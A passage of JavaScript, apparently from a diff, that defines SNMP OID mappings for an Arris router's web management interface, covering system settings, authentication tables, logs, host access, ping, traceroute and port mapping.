Scalar("ESTBDHCPOption43Sub3","1.3.6.1.4.1.4115.1.20.1.1.5.41",4,1); +SysCfg.ClientTrackingEnable= new Scalar("ClientTrackingEnable","1.3.6.1.4.1.4115.1.20.1.1.5.43",2); +SysCfg.SystemFlags= new Scalar("SystemFlags","1.3.6.1.4.1.4115.1.20.1.1.5.44",2); +SysCfg.CpuSpeed= new Scalar("CpuSpeed","1.3.6.1.4.1.4115.1.20.1.1.5.64",2); +SysCfg.FlashSize= new Scalar("FlashSize","1.3.6.1.4.1.4115.1.20.1.1.5.52",2); +SysCfg.RamSize= new Scalar("RamSize","1.3.6.1.4.1.4115.1.20.1.1.5.53",2); +SysCfg.SaveCurrentConfigFile= new Scalar("SaveCurrentConfigFile","1.3.6.1.4.1.4115.1.20.1.1.5.57",2); +SysCfg.RestoreCurrentConfigFile= new Scalar("RestoreCurrentConfigFile","1.3.6.1.4.1.4115.1.20.1.1.5.58",2); +SysCfg.FlashAvailSize= new Scalar("FlashAvailSize","1.3.6.1.4.1.4115.1.20.1.1.5.60",2); +SysCfg.RamAvailSize= new Scalar("RamAvailSize","1.3.6.1.4.1.4115.1.20.1.1.5.61",2); +var arAdminPassword=SysCfg.AdminPassword; +var arAdminTimeout=SysCfg.AdminTimeout; +var arTimeZoneUTCOffset=SysCfg.TimeZoneUTCOffset; +var arReboot=SysCfg.Reboot; +var arDefaults=SysCfg.Defaults; +var arLanguage=SysCfg.Language; +var arName=SysCfg.Name; +var arSerialNumber=SysCfg.SerialNumber; +var arBootCodeVersion=SysCfg.BootCodeVersion; +var arHardwareVersion=SysCfg.HardwareVersion; +var arFirmwareVersion=SysCfg.FirmwareVersion; +var arLogLevel=SysCfg.LogLevel; +var arCustomSettings=SysCfg.CustomSettings; +var arCustomID=SysCfg.CustomID; +var arCurrentTime=SysCfg.CurrentTime; +var arTACACSAddr=SysCfg.TACACSAddr; +var arTACACSPort=SysCfg.TACACSPort; +var arTACACSSecretKey=SysCfg.TACACSSecretKey; +var arXmlProvisioningFile=SysCfg.XmlProvisioningFile; +var arXmlProvisioningStatus=SysCfg.XmlProvisioningStatus; +var arBlockNonArrisDevices=SysCfg.BlockNonArrisDevices; +var arDHCPLogLevel=SysCfg.DHCPLogLevel; +var arTechnicianName=SysCfg.TechnicianName; +var arEnableLanEtherPrivateWanBlock=SysCfg.EnableLanEtherPrivateWanBlock; +var arTACACSIPAddrType=SysCfg.TACACSIPAddrType; +var arTACACSIPAddr=SysCfg.TACACSIPAddr; +var arEnabledInterfaces=SysCfg.EnabledInterfaces; +var arEnabledInterfacesString=SysCfg.EnabledInterfacesString; +var arInboundTrafficLogEnable=SysCfg.InboundTrafficLogEnable; +var arNATPBypassEnable=SysCfg.NATPBypassEnable; +var arNATDebug=SysCfg.NATDebug; +var arDisableResetButton=SysCfg.DisableResetButton; +var arDHCPOption43Sub2=SysCfg.DHCPOption43Sub2; +var arDHCPOption43Sub3=SysCfg.DHCPOption43Sub3; +var arESTBDHCPOption43Sub2=SysCfg.ESTBDHCPOption43Sub2; +var arESTBDHCPOption43Sub3=SysCfg.ESTBDHCPOption43Sub3; +var arClientTrackingEnable=SysCfg.ClientTrackingEnable; +var arSystemFlags=SysCfg.SystemFlags; +var arCpuSpeed=SysCfg.CpuSpeed; +var arFlashSize=SysCfg.FlashSize; +var arRamSize=SysCfg.RamSize; +var arSaveCurrentConfigFile=SysCfg.SaveCurrentConfigFile; +var arRestoreCurrentConfigFile=SysCfg.RestoreCurrentConfigFile; +var arFlashAvailSize=SysCfg.FlashAvailSize; +var arRamAvailSize=SysCfg.RamAvailSize; + +var AuthTable = new Table("AuthTable", "1.3.6.1.4.1.4115.1.20.1.1.5.16"); +AuthTable.AuthIndex = new Column("AuthIndex","1.3.6.1.4.1.4115.1.20.1.1.5.16.1.1",66); +AuthTable.AuthUserName = new Column("AuthUserName","1.3.6.1.4.1.4115.1.20.1.1.5.16.1.2",4); +AuthTable.AuthPassword = new Column("AuthPassword","1.3.6.1.4.1.4115.1.20.1.1.5.16.1.3",4); +AuthTable.AuthType = new Column("AuthType","1.3.6.1.4.1.4115.1.20.1.1.5.16.1.4",4,1); +var arAuthIndex=AuthTable.AuthIndex; +var arAuthUserName=AuthTable.AuthUserName; +var arAuthPassword=AuthTable.AuthPassword; +var arAuthType=AuthTable.AuthType; + +var SNTPSettings = new Container("SNTPSettings", "1.3.6.1.4.1.4115.1.20.1.1.5.17"); +SNTPSettings.EnableSNTP= new Scalar("EnableSNTP","1.3.6.1.4.1.4115.1.20.1.1.5.17.1",2); +SNTPSettings.ApplySNTPSettings= new Scalar("ApplySNTPSettings","1.3.6.1.4.1.4115.1.20.1.1.5.17.2",2); +SNTPSettings.SNTPTableFreeIdx= new Scalar("SNTPTableFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.5.17.3",2); +var arEnableSNTP=SNTPSettings.EnableSNTP; +var arApplySNTPSettings=SNTPSettings.ApplySNTPSettings; +var arSNTPTableFreeIdx=SNTPSettings.SNTPTableFreeIdx; + +var SNTPServerTable = new Table("SNTPServerTable", "1.3.6.1.4.1.4115.1.20.1.1.5.17.4"); +SNTPServerTable.SNTPServerIndex = new Column("SNTPServerIndex","1.3.6.1.4.1.4115.1.20.1.1.5.17.4.1.1",2); +SNTPServerTable.SNTPServerAddrType = new Column("SNTPServerAddrType","1.3.6.1.4.1.4115.1.20.1.1.5.17.4.1.2",2); +SNTPServerTable.SNTPServerAddr = new Column("SNTPServerAddr","1.3.6.1.4.1.4115.1.20.1.1.5.17.4.1.3",4,1); +SNTPServerTable.SNTPServerName = new Column("SNTPServerName","1.3.6.1.4.1.4115.1.20.1.1.5.17.4.1.4",4); +SNTPServerTable.SNTPServerStatus = new Column("SNTPServerStatus","1.3.6.1.4.1.4115.1.20.1.1.5.17.4.1.5",2); +var arSNTPServerIndex=SNTPServerTable.SNTPServerIndex; +var arSNTPServerAddrType=SNTPServerTable.SNTPServerAddrType; +var arSNTPServerAddr=SNTPServerTable.SNTPServerAddr; +var arSNTPServerName=SNTPServerTable.SNTPServerName; +var arSNTPServerStatus=SNTPServerTable.SNTPServerStatus; + +var EmailSettings = new Container("EmailSettings", "1.3.6.1.4.1.4115.1.20.1.1.5.18"); +EmailSettings.EmailServerName= new Scalar("EmailServerName","1.3.6.1.4.1.4115.1.20.1.1.5.18.1",4); +EmailSettings.EmailServerUser= new Scalar("EmailServerUser","1.3.6.1.4.1.4115.1.20.1.1.5.18.2",4); +EmailSettings.EmailServerPW= new Scalar("EmailServerPW","1.3.6.1.4.1.4115.1.20.1.1.5.18.3",4); +EmailSettings.EmailAddress= new Scalar("EmailAddress","1.3.6.1.4.1.4115.1.20.1.1.5.18.4",4,1); +EmailSettings.EnableLogEmail= new Scalar("EnableLogEmail","1.3.6.1.4.1.4115.1.20.1.1.5.18.5",2); +EmailSettings.EmailApplySettings= new Scalar("EmailApplySettings","1.3.6.1.4.1.4115.1.20.1.1.5.18.6",2); +// scm x2 lines +EmailSettings.EmailSenderAddress = new Scalar("EmailSenderAddress", "1.3.6.1.4.1.4115.1.20.1.1.5.18.8",4); +var arEmailSenderAddress =EmailSettings.EmailSenderAddress ; + +var arEmailServerName=EmailSettings.EmailServerName; +var arEmailServerUser=EmailSettings.EmailServerUser; +var arEmailServerPW=EmailSettings.EmailServerPW; +var arEmailAddress=EmailSettings.EmailAddress; +var arEnableLogEmail=EmailSettings.EnableLogEmail; +var arEmailApplySettings=EmailSettings.EmailApplySettings; + +// scm new container. +var EmailNotifys = new Container("EmailNotifys", "1.3.6.1.4.1.4115.1.20.1.1.5.18.7"); +EmailNotifys.EmailNotifyTypeFW = new Scalar("EmailNotifyTypeFW", "1.3.6.1.4.1.4115.1.20.1.1.5.18.7.1",2); +EmailNotifys.EmailNotifyTypePC = new Scalar("EmailNotifyTypePC", "1.3.6.1.4.1.4115.1.20.1.1.5.18.7.2",2); +EmailNotifys.EmailNotifyTypeAlert = new Scalar("EmailNotifyTypeAlert", "1.3.6.1.4.1.4115.1.20.1.1.5.18.7.3",2); +EmailNotifys.EmailNotifyTypeWarning = new Scalar("EmailNotifyTypeWarning", "1.3.6.1.4.1.4115.1.20.1.1.5.18.7.4",2); +var arEmailNotifyTypeFW =EmailNotifys.EmailNotifyTypeFW ; +var arEmailNotifyTypePC =EmailNotifys.EmailNotifyTypePC ; +var arEmailNotifyTypeAlert =EmailNotifys.EmailNotifyTypeAlert ; +var arEmailNotifyTypeWarning =EmailNotifys.EmailNotifyTypeWarning ; + + +var LogSettings = new Container("LogSettings", "1.3.6.1.4.1.4115.1.20.1.1.5.19"); +LogSettings.ClearLogs= new Scalar("ClearLogs","1.3.6.1.4.1.4115.1.20.1.1.5.19.3",2); +LogSettings.ChangeLogFilter= new Scalar("ChangeLogFilter","1.3.6.1.4.1.4115.1.20.1.1.5.19.4",2); +var arClearLogs=LogSettings.ClearLogs; +var arChangeLogFilter=LogSettings.ChangeLogFilter; + +var UserLogs = new Container("UserLogs", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1"); + +var FirewallLogTable = new Table("FirewallLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1.1"); +FirewallLogTable.FWLogIndex = new Column("FWLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.1.1.1",2); +FirewallLogTable.FWLogTime = new Column("FWLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.1.1.2",4, 1); +FirewallLogTable.FWLogInfo = new Column("FWLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.1.1.3",4); +var arFWLogIndex=FirewallLogTable.FWLogIndex; +var arFWLogTime=FirewallLogTable.FWLogTime; +var arFWLogInfo=FirewallLogTable.FWLogInfo; + +var ParentalContLogTable = new Table("ParentalContLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1.2"); +ParentalContLogTable.PCLogIndex = new Column("PCLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.2.1.1",2); +ParentalContLogTable.PCLogTime = new Column("PCLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.2.1.2",4, 1); +ParentalContLogTable.PCLogInfo = new Column("PCLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.2.1.3",4); +ParentalContLogTable.PCLogType = new Column("PCLogType","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.2.1.4",2); +var arPCLogIndex=ParentalContLogTable.PCLogIndex; +var arPCLogTime=ParentalContLogTable.PCLogTime; +var arPCLogInfo=ParentalContLogTable.PCLogInfo; +var arPCLogType=ParentalContLogTable.PCLogType; + +var ChangeLogTable = new Table("ChangeLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1.3"); +ChangeLogTable.ChangeLogIndex = new Column("ChangeLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.3.1.1",2); +ChangeLogTable.ChangeLogTime = new Column("ChangeLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.3.1.2",4,1); +ChangeLogTable.ChangeLogInfo = new Column("ChangeLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.3.1.3",4); +var arChangeLogIndex=ChangeLogTable.ChangeLogIndex; +var arChangeLogTime=ChangeLogTable.ChangeLogTime; +var arChangeLogInfo=ChangeLogTable.ChangeLogInfo; + +var DebugLogTable = new Table("DebugLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1.4"); +DebugLogTable.DebugLogIndex = new Column("DebugLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.4.1.1",2); +DebugLogTable.DebugLogTime = new Column("DebugLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.4.1.2",4,1); +DebugLogTable.DebugLogInfo = new Column("DebugLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.4.1.3",4); +var arDebugLogIndex=DebugLogTable.DebugLogIndex; +var arDebugLogTime=DebugLogTable.DebugLogTime; +var arDebugLogInfo=DebugLogTable.DebugLogInfo; + +var DHCPLogTable = new Table("DHCPLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1.5"); +DHCPLogTable.DHCPLogIndex = new Column("DHCPLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.5.1.1",2); +DHCPLogTable.DHCPLogTime = new Column("DHCPLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.5.1.2",4,1); +DHCPLogTable.DHCPLogInfo = new Column("DHCPLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.5.1.3",4); +var arDHCPLogIndex=DHCPLogTable.DHCPLogIndex; +var arDHCPLogTime=DHCPLogTable.DHCPLogTime; +var arDHCPLogInfo=DHCPLogTable.DHCPLogInfo; + +var LanClientLogTable = new Table("LanClientLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1.6"); +LanClientLogTable.LanClientLogIndex = new Column("LanClientLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.6.1.1",2); +LanClientLogTable.LanClientLogTime = new Column("LanClientLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.6.1.2",4,1); +LanClientLogTable.LanClientLogInfo = new Column("LanClientLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.6.1.3",4); +var arLanClientLogIndex=LanClientLogTable.LanClientLogIndex; +var arLanClientLogTime=LanClientLogTable.LanClientLogTime; +var arLanClientLogInfo=LanClientLogTable.LanClientLogInfo; + +var MSOLogs = new Container("MSOLogs", "1.3.6.1.4.1.4115.1.20.1.1.5.19.2"); +MSOLogs.ClearMSOLogs= new Scalar("ClearMSOLogs","1.3.6.1.4.1.4115.1.20.1.1.5.19.2.2",2); +var arClearMSOLogs=MSOLogs.ClearMSOLogs; + +var MSOChgLogTable = new Table("MSOChgLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.2.1"); +MSOChgLogTable.MSOChgLogIndex = new Column("MSOChgLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.2.1.1.1",2); +MSOChgLogTable.MSOChgLogTime = new Column("MSOChgLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.2.1.1.2",4,1); +MSOChgLogTable.MSOChgLogInfo = new Column("MSOChgLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.2.1.1.3",4); +var arMSOChgLogIndex=MSOChgLogTable.MSOChgLogIndex; +var arMSOChgLogTime=MSOChgLogTable.MSOChgLogTime; +var arMSOChgLogInfo=MSOChgLogTable.MSOChgLogInfo; + +var InboundTrafficLogTable = new Table("InboundTrafficLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.42"); +InboundTrafficLogTable.InboundTrafficLogIndex = new Column("InboundTrafficLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.42.1.1",66); +InboundTrafficLogTable.InboundTrafficLogData = new Column("InboundTrafficLogData","1.3.6.1.4.1.4115.1.20.1.1.5.42.1.2",4); +var arInboundTrafficLogIndex=InboundTrafficLogTable.InboundTrafficLogIndex; +var arInboundTrafficLogData=InboundTrafficLogTable.InboundTrafficLogData; + +var HostAccess = new Container("HostAccess", "1.3.6.1.4.1.4115.1.20.1.1.6"); +HostAccess.HostAccessClientSeed= new Scalar("HostAccessClientSeed","1.3.6.1.4.1.4115.1.20.1.1.6.1",4,1); +HostAccess.HostCLITimeout= new Scalar("HostCLITimeout","1.3.6.1.4.1.4115.1.20.1.1.6.2",66); +HostAccess.HostAccessSSHEnable= new Scalar("HostAccessSSHEnable","1.3.6.1.4.1.4115.1.20.1.1.6.3",2); +HostAccess.HostAccessSSHPassword= new Scalar("HostAccessSSHPassword","1.3.6.1.4.1.4115.1.20.1.1.6.4",4); +HostAccess.WebAccessFreeIdx= new Scalar("WebAccessFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.6.5",2); +HostAccess.WebAccessSetting= new Scalar("WebAccessSetting","1.3.6.1.4.1.4115.1.20.1.1.6.6",2); +HostAccess.WebAccessWANACL= new Scalar("WebAccessWANACL","1.3.6.1.4.1.4115.1.20.1.1.6.8",4); +var arHostAccessClientSeed=HostAccess.HostAccessClientSeed; +var arHostCLITimeout=HostAccess.HostCLITimeout; +var arHostAccessSSHEnable=HostAccess.HostAccessSSHEnable; +var arHostAccessSSHPassword=HostAccess.HostAccessSSHPassword; +var arWebAccessFreeIdx=HostAccess.WebAccessFreeIdx; +var arWebAccessSetting=HostAccess.WebAccessSetting; +var arWebAccessWANACL=HostAccess.WebAccessWANACL; + +var WebAccessTable = new Table("WebAccessTable", "1.3.6.1.4.1.4115.1.20.1.1.6.7"); +WebAccessTable.WebAccessIndex = new Column("WebAccessIndex","1.3.6.1.4.1.4115.1.20.1.1.6.7.1.1",2); +WebAccessTable.WebAccessPage = new Column("WebAccessPage","1.3.6.1.4.1.4115.1.20.1.1.6.7.1.2",4); +WebAccessTable.WebAccessLevel = new Column("WebAccessLevel","1.3.6.1.4.1.4115.1.20.1.1.6.7.1.3",2); +WebAccessTable.WebAccessRowStatus = new Column("WebAccessRowStatus","1.3.6.1.4.1.4115.1.20.1.1.6.7.1.4",2); +var arWebAccessIndex=WebAccessTable.WebAccessIndex; +var arWebAccessPage=WebAccessTable.WebAccessPage; +var arWebAccessLevel=WebAccessTable.WebAccessLevel; +var arWebAccessRowStatus=WebAccessTable.WebAccessRowStatus; + +var PingMgmt = new Container("PingMgmt", "1.3.6.1.4.1.4115.1.20.1.1.7"); +PingMgmt.PingTargetAddrType= new Scalar("PingTargetAddrType","1.3.6.1.4.1.4115.1.20.1.1.7.1",2); +PingMgmt.PingTargetAddress= new Scalar("PingTargetAddress","1.3.6.1.4.1.4115.1.20.1.1.7.2",4, 1); +PingMgmt.PingNumPkts= new Scalar("PingNumPkts","1.3.6.1.4.1.4115.1.20.1.1.7.3",66); +PingMgmt.PingPktSize= new Scalar("PingPktSize","1.3.6.1.4.1.4115.1.20.1.1.7.4",66); +PingMgmt.PingInterval= new Scalar("PingInterval","1.3.6.1.4.1.4115.1.20.1.1.7.5",66); +PingMgmt.PingTimeout= new Scalar("PingTimeout","1.3.6.1.4.1.4115.1.20.1.1.7.6",2); +PingMgmt.PingVerifyReply= new Scalar("PingVerifyReply","1.3.6.1.4.1.4115.1.20.1.1.7.7",2); +PingMgmt.PingIpStackNumber= new Scalar("PingIpStackNumber","1.3.6.1.4.1.4115.1.20.1.1.7.8",2); +PingMgmt.PingStartStop= new Scalar("PingStartStop","1.3.6.1.4.1.4115.1.20.1.1.7.9",2); +PingMgmt.PingPktsSent= new Scalar("PingPktsSent","1.3.6.1.4.1.4115.1.20.1.1.7.10",65); +PingMgmt.PingRepliesReceived= new Scalar("PingRepliesReceived","1.3.6.1.4.1.4115.1.20.1.1.7.11",65); +PingMgmt.PingRepliesVerified= new Scalar("PingRepliesVerified","1.3.6.1.4.1.4115.1.20.1.1.7.12",65); +PingMgmt.PingOctetsSent= new Scalar("PingOctetsSent","1.3.6.1.4.1.4115.1.20.1.1.7.13",65); +PingMgmt.PingOctetsReceived= new Scalar("PingOctetsReceived","1.3.6.1.4.1.4115.1.20.1.1.7.14",65); +PingMgmt.PingIcmpErrors= new Scalar("PingIcmpErrors","1.3.6.1.4.1.4115.1.20.1.1.7.15",65); +PingMgmt.PingLastIcmpError= new Scalar("PingLastIcmpError","1.3.6.1.4.1.4115.1.20.1.1.7.16",66); +var arPingTargetAddrType=PingMgmt.PingTargetAddrType; +var arPingTargetAddress=PingMgmt.PingTargetAddress; +var arPingNumPkts=PingMgmt.PingNumPkts; +var arPingPktSize=PingMgmt.PingPktSize; +var arPingInterval=PingMgmt.PingInterval; +var arPingTimeout=PingMgmt.PingTimeout; +var arPingVerifyReply=PingMgmt.PingVerifyReply; +var arPingIpStackNumber=PingMgmt.PingIpStackNumber; +var arPingStartStop=PingMgmt.PingStartStop; +var arPingPktsSent=PingMgmt.PingPktsSent; +var arPingRepliesReceived=PingMgmt.PingRepliesReceived; +var arPingRepliesVerified=PingMgmt.PingRepliesVerified; +var arPingOctetsSent=PingMgmt.PingOctetsSent; +var arPingOctetsReceived=PingMgmt.PingOctetsReceived; +var arPingIcmpErrors=PingMgmt.PingIcmpErrors; +var arPingLastIcmpError=PingMgmt.PingLastIcmpError; + +var TraceRtMgmt = new Container("TraceRtMgmt", "1.3.6.1.4.1.4115.1.20.1.1.8"); +TraceRtMgmt.TraceRtTargAddrType= new Scalar("TraceRtTargAddrType","1.3.6.1.4.1.4115.1.20.1.1.8.1",2); +TraceRtMgmt.TraceRtTargetAddr= new Scalar("TraceRtTargetAddr","1.3.6.1.4.1.4115.1.20.1.1.8.2",4, 1); +TraceRtMgmt.TraceRtMaxHops= new Scalar("TraceRtMaxHops","1.3.6.1.4.1.4115.1.20.1.1.8.3",2); +TraceRtMgmt.TraceRtDataSize= new Scalar("TraceRtDataSize","1.3.6.1.4.1.4115.1.20.1.1.8.4",2); +TraceRtMgmt.TraceRtResolveHosts= new Scalar("TraceRtResolveHosts","1.3.6.1.4.1.4115.1.20.1.1.8.5",2); +TraceRtMgmt.TraceRtBasePort= new Scalar("TraceRtBasePort","1.3.6.1.4.1.4115.1.20.1.1.8.6",2); +TraceRtMgmt.TraceRtStart= new Scalar("TraceRtStart","1.3.6.1.4.1.4115.1.20.1.1.8.7",2); +TraceRtMgmt.TraceRtLog= new Scalar("TraceRtLog","1.3.6.1.4.1.4115.1.20.1.1.8.8",4); +var arTraceRtTargAddrType=TraceRtMgmt.TraceRtTargAddrType; +var arTraceRtTargetAddr=TraceRtMgmt.TraceRtTargetAddr; +var arTraceRtMaxHops=TraceRtMgmt.TraceRtMaxHops; +var arTraceRtDataSize=TraceRtMgmt.TraceRtDataSize; +var arTraceRtResolveHosts=TraceRtMgmt.TraceRtResolveHosts; +var arTraceRtBasePort=TraceRtMgmt.TraceRtBasePort; +var arTraceRtStart=TraceRtMgmt.TraceRtStart; +var arTraceRtLog=TraceRtMgmt.TraceRtLog; + +var ICtrl = new Container("ICtrl", "1.3.6.1.4.1.4115.1.20.1.1.10"); +ICtrl.ICtrlPortMapCount= new Scalar("ICtrlPortMapCount","1.3.6.1.4.1.4115.1.20.1.1.10.1",2); +var arICtrlPortMapCount=ICtrl.ICtrlPortMapCount; + +var ICtrlPortMapTable = new Table("ICtrlPortMapTable", "1.3.6.1.4.1.4115.1.20.1.1.10.2"); +ICtrlPortMapTable.ICtrlPortMapIndex = new Column("ICtrlPortMapIndex","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.1",2); +ICtrlPortMapTable.PortMapDescription = new Column("PortMapDescription","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.2",4); +ICtrlPortMapTable.PortMapInternalClientAddrType = new Column("PortMapInternalClientAddrType","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.3",2); +ICtrlPortMapTable.PortMapInternalClientAddr = new Column("PortMapInternalClientAddr","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.4",4,1); +ICtrlPortMapTable.PortMapProtocol = new Column("PortMapProtocol","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.5",2); +ICtrlPortMapTable.PortMapExternalPort = new Column("PortMapExternalPort","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.6",66); +ICtrlPortMapTable.PortMapInternalPort = new Column("PortMapInternalPort","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.7",66); +ICtrlPortMapTable.PortMapRowStatus = new Column("PortMapRowStatus","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.8",2); +// scm add x 4 +ICtrlPortMapTable.PortMapInternalStartPort= new Column("PortMapInternalStartPort", "1.3.6.1.4.1.4115.1.20.1.1.10.2.1.9",66); +ICtrlPortMapTable.PortMapInternalEndPort= new Column("PortMapInternalEndPort", "1.3.6.1.4.1.4115.1.20.1.1.10.2.1.10",66); +ICtrlPortMapTable.PortMapExternalStartPort = new Column("PortMapExternalStartPort", "1.3.6.1.4.1.4115.1.20.1.1.10.2.1.11",66); +ICtrlPortMapTable.PortMapExternalEndPort= new Column("PortMapExternalEndPort", "1.3.6.1.4.1.4115.1.20.1.1.10.2.1.12",66); + +var arICtrlPortMapIndex=ICtrlPortMapTable.ICtrlPortMapIndex; +var arPortMapDescription=ICtrlPortMapTable.PortMapDescription; +var arPortMapInternalClientAddrType=ICtrlPortMapTable.PortMapInternalClientAddrType; +var arPortMapInternalClientAddr=ICtrlPortMapTable.PortMapInternalClientAddr; +var arPortMapProtocol=ICtrlPortMapTable.PortMapProtocol; +var arPortMapExternalPort=ICtrlPortMapTable.PortMapExternalPort; +var arPortMapInternalPort=ICtrlPortMapTable.PortMapInternalPort; +var arPortMapRowStatus=ICtrlPortMapTable.PortMapRowStatus; +var arPortMapExternalStartPort = ICtrlPortMapTable.PortMapExternalStartPort; +var arPortMapExternalEndPort= ICtrlPortMapTable.PortMapExternalEndPort; +var arPortMapInternalStartPort= ICtrlPortMapTable.PortMapInternalStartPort; +var arPortMapInternalEndPort= ICtrlPortMapTable.PortMapInternalEndPort; + + + +var ICtrlGetDeviceSettings = new Container("ICtrlGetDeviceSettings", "1.3.6.1.4.1.4115.1.20.1.1.10.3"); +ICtrlGetDeviceSettings.ICtrlDeviceSettingsFWversion= new Scalar("ICtrlDeviceSettingsFWversion","1.3.6.1.4.1.4115.1.20.1.1.10.3.1",4); +var arICtrlDeviceSettingsFWversion=ICtrlGetDeviceSettings.ICtrlDeviceSettingsFWversion; + +var ICtrlIsDeviceReady = new Container("ICtrlIsDeviceReady", "1.3.6.1.4.1.4115.1.20.1.1.10.4"); +ICtrlIsDeviceReady.ICtrlDeviceStatus= new Scalar("ICtrlDeviceStatus","1.3.6.1.4.1.4115.1.20.1.1.10.4.1",2); +var arICtrlDeviceStatus=ICtrlIsDeviceReady.ICtrlDeviceStatus; + +var ICtrlReboot = new Container("ICtrlReboot", "1.3.6.1.4.1.4115.1.20.1.1.10.5"); +ICtrlReboot.ICtrlInitiateReboot= new Scalar("ICtrlInitiateReboot","1.3.6.1.4.1.4115.1.20.1.1.10.5.1",2); +var arICtrlInitiateReboot=ICtrlReboot.ICtrlInitiateReboot; + +var ICtrlSetDeviceSettings = new Container("ICtrlSetDeviceSettings", "1.3.6.1.4.1.4115.1.20.1.1.10.6"); +ICtrlSetDeviceSettings.ICtrlSetDeviceName= new Scalar("ICtrlSetDeviceName","1.3.6.1.4.1.4115.1.20.1.1.10.6.1",4); +ICtrlSetDeviceSettings.ICtrlSetAdminPassword= new Scalar("ICtrlSetAdminPassword","1.3.6.1.4.1.4115.1.20.1.1.10.6.2",4); +var arICtrlSetDeviceName=ICtrlSetDeviceSettings.ICtrlSetDeviceName; +var arICtrlSetAdminPassword=ICtrlSetDeviceSettings.ICtrlSetAdminPassword; + +var ICtrlRouterSettings = new Container("ICtrlRouterSettings", "1.3.6.1.4.1.4115.1.20.1.1.10.7"); +ICtrlRouterSettings.ICtrlRouterManageRemote= new Scalar("ICtrlRouterManageRemote","1.3.6.1.4.1.4115.1.20.1.1.10.7.1",2); +ICtrlRouterSettings.ICtrlRouterRemotePort= new Scalar("ICtrlRouterRemotePort","1.3.6.1.4.1.4115.1.20.1.1.10.7.2",66); +ICtrlRouterSettings.ICtrlRouterRemoteSSL= new Scalar("ICtrlRouterRemoteSSL","1.3.6.1.4.1.4115.1.20.1.1.10.7.3",2); +var arICtrlRouterManageRemote=ICtrlRouterSettings.ICtrlRouterManageRemote; +var arICtrlRouterRemotePort=ICtrlRouterSettings.ICtrlRouterRemotePort; +var arICtrlRouterRemoteSSL=ICtrlRouterSettings.ICtrlRouterRemoteSSL; + +var ICtrlWLanRadioSettings = new Container("ICtrlWLanRadioSettings", "1.3.6.1.4.1.4115.1.20.1.1.10.8"); +ICtrlWLanRadioSettings.ICtrlWLanRadioMacAddress= new Scalar("ICtrlWLanRadioMacAddress","1.3.6.1.4.1.4115.1.20.1.1.10.8.1",4,1); +ICtrlWLanRadioSettings.ICtrlWLanRadioChannelWidth= new Scalar("ICtrlWLanRadioChannelWidth","1.3.6.1.4.1.4115.1.20.1.1.10.8.2",66); +var arICtrlWLanRadioMacAddress=ICtrlWLanRadioSettings.ICtrlWLanRadioMacAddress; +var arICtrlWLanRadioChannelWidth=ICtrlWLanRadioSettings.ICtrlWLanRadioChannelWidth; + +var ICtrlSetBridgeConnect = new Container("ICtrlSetBridgeConnect", "1.3.6.1.4.1.4115.1.20.1.1.10.9"); +ICtrlSetBridgeConnect.ICtrlSetBridgeEthernetPort= new Scalar("ICtrlSetBridgeEthernetPort","1.3.6.1.4.1.4115.1.20.1.1.10.9.1",66); +ICtrlSetBridgeConnect.ICtrlSetBridgeMinutes= new Scalar("ICtrlSetBridgeMinutes","1.3.6.1.4.1.4115.1.20.1.1.10.9.2",66); +ICtrlSetBridgeConnect.ICtrlSetBridgePermanentPort4Enable= new Scalar("ICtrlSetBridgePermanentPort4Enable","1.3.6.1.4.1.4115.1.20.1.1.10.9.3",2); +var arICtrlSetBridgeEthernetPort=ICtrlSetBridgeConnect.ICtrlSetBridgeEthernetPort; +var arICtrlSetBridgeMinutes=ICtrlSetBridgeConnect.ICtrlSetBridgeMinutes; +var arRouterICtrlSetBridgePermanentPort4Enable=ICtrlSetBridgeConnect.ICtrlSetBridgePermanentPort4Enable; + +var ICtrlGetWanSettings = new Container("ICtrlGetWanSettings", "1.3.6.1.4.1.4115.1.20.1.1.10.10"); +ICtrlGetWanSettings.ICtrlGetWanType= new Scalar("ICtrlGetWanType","1.3.6.1.4.1.4115.1.20.1.1.10.10.2",4); +ICtrlGetWanSettings.ICtrlGetWanMTU= new Scalar("ICtrlGetWanMTU","1.3.6.1.4.1.4115.1.20.1.1.10.10.3",66); +ICtrlGetWanSettings.ICtrlGetWanPrefixLen= new 